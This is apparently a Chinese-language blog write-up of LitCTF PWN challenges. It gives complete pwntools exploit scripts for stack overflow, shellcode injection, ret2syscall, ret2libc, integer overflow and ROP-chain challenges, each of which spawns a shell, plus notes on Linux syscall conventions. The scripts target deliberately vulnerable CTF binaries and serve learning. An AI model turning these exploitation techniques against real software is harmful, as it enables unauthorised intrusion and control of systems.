首页/文章/CTF PWN

LitCTF 之 PWN 方向 WP(复健)

小小的复健一下,还是比较简单的

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

ret2text

alt text

alt text

alt text
可以看见有明显溢出和后门函数,直接跳转执行即可

python
#! /usr/bin/env python3from pwn import *r=remote('challenge.cyclens.tech', 31597)offset = 0x38 + 4payload = b'a' * offsetpayload += p32(0x8049213) r.sendline(payload)r.interactive()

ret2shellcode

checksec 一下

alt text

保护全关,栈可执行,那么我们想办法 ret2shell
先静态分析
alt text

alt text
那么很显然,泄露了栈的地址,那么我们先劫持程序流,在栈上布局shellcode后跳转到栈上即可

python
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')p = process('./ret2shellcode')shellcode = asm(shellcraft.sh())p.recvuntil(b'Here is a hint for you: buf is at ')buf_addr = int(p.recvline().strip(), 16)print(f'buf address: {hex(buf_addr)}')payload = shellcode.ljust(0x78, b'\x90') + p64(buf_addr)p.sendline(payload)p.interactive()

alt text

ret2syscall

前置知识

好久没看了,先补一下前置知识
什么是syscall?

c
puts("")system("/bin/sh")

这些都是封装函数
但如果我们需要和内核进行交互,我们需要走系统调用,即用户态程序向内核请求服务,例如读写文件,内存申请等
64 位中,触发系统调用是 syscall,32位则是int 0x80

系统调用号

内核该怎么知道你想要干什么,靠的是系统调用号

  • 64
函数调用号
read0
write1
execve59
exit60

其中调用号由rax储存

  • 32
函数调用号
read3
write4
execve11
exit1

调用号由 eax储存

参数调用

  1. 64位 注意,跟普通传参调用约定不同的是,这里的传参调用是
asm
rdi rsi rdx r10 r8 r9

当我们参数布置好后就可以触发 syscall 了 2. 32

asm
ebx ecx edx esi edi ebp

参数布置好后就可以触发 int 0x80

赛题部分

alt text

alt text

alt text
可以很明显的看到溢出点,并且 0x200 - 0x4c 的长度够我们放置许多gadget了 同时发现 data 段有可写的,刚好 8 字节
alt text

那么流程清楚了,我们首先劫持程序流,并利用gadget

asm
pop     edx;retmov     [edx], eax;ret

data写入 /bin//sh,之后我们利用execve拿到shell

python
#! /usr/bin/env python3from pwn import *context(arch='i386', os='linux')p = process('./ret2syscall32')p.recvuntil(b'Input: ')int_0x80 = 0x080491c1pop_eax = 0x080491a6pop_ebx = 0x08049022pop_ecx_ebx = 0x080491b0pop_edx = 0x080491b6mov_edx_eax = 0x80491BBoffset = 0x48 + 4data_buf = 0x0804b340payload = b'A' * offsetdef write_data(addr, data):    return flat(        pop_edx,        addr,        pop_eax,        data,        mov_edx_eax,    )payload += write_data(data_buf, b"/bin")payload += write_data(data_buf + 4, b"//sh")payload += write_data(data_buf + 8, 0)payload += flat(    pop_eax,    11,    pop_ecx_ebx,    0,    data_buf,    pop_edx,    0,    int_0x80,)p.sendline(payload)p.interactive()

alt text

ret2libc

checksec 一下

alt text

alt text
比较公式化了,第一轮泄露 puts_addr , 第二轮拿 shell

python
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')offset = 0x40 + 8elf = ELF('./ret2libc')libc = elf.libcrop = ROP(elf)pop_rdi = rop.find_gadget(['pop rdi', 'ret']).addressputs_got = elf.got['puts']leak_value = elf.symbols['leak_value']vuln = elf.symbols['vuln']ret = rop.find_gadget(['ret']).addressp = process('./ret2libc')p.recvuntil(b'Tell me your name: ')payload = b'A' * offset + flat(    ret,    pop_rdi,    puts_got,    leak_value,    ret,    vuln,)p.sendline(payload)line = p.recvline_contains(b'Leak:')puts_addr = int(line.split(b': ')[1], 16)print(f'puts address: {hex(puts_addr)}')libc_base = puts_addr - libc.symbols['puts']system_addr = libc_base + libc.symbols['system']bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))print(f'libc base: {hex(libc_base)}')p.recvuntil(b'Tell me your name: ')payload = b'A' * offset + flat(    ret,    pop_rdi,    bin_sh_addr,    system_addr,)p.sendline(payload)p.interactive()

由于没复现环境,就用本机的跑了一下

alt text

integeroverflow

alt text

alt text

也是比较简单的一个整数溢出,输个 -1 就完了

python
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')elf = ELF('./integer_overflow')rop = ROP(elf)p = process('./integer_overflow')backdoor = elf.symbols['backdoor']ret = rop.find_gadget(['ret']).addressp.recvuntil(b'How many bytes do you want to read? (0-63): ')p.sendline(b'-1')offset = 0x40 + 8payload = b'A' * offset + flat(    ret,    backdoor)p.sendline(payload)p.interactive()

alt text

ropchain

checksec 一下

alt text
alt text
可以看到 gadget
alt text
那思路有了,用readdata写入/bin/sh,之后用system即可

python
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')p = process('./ropchain')elf = ELF('./ropchain')rop = ROP(elf)offset = 0x40 + 8data_addr = 0x4033F8pop_rdi = rop.find_gadget(['pop rdi', 'ret']).addresspop_rsi = rop.find_gadget(['pop rsi', 'ret']).addresspop_rdx = rop.find_gadget(['pop rdx', 'ret']).addressread_plt = elf.plt['read']system_addr = elf.symbols['system']ret_addr = rop.find_gadget(['ret']).addresspayload = b'A' * offset + flat(    pop_rdi,    0,    pop_rsi,    data_addr,    pop_rdx,    0x100,    read_plt,    pop_rdi,    data_addr,    system_addr)  p.recvuntil(b'Input: ')p.sendline(payload)p.sendline(b'/bin/sh\x00')p.interactive()

alt text

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...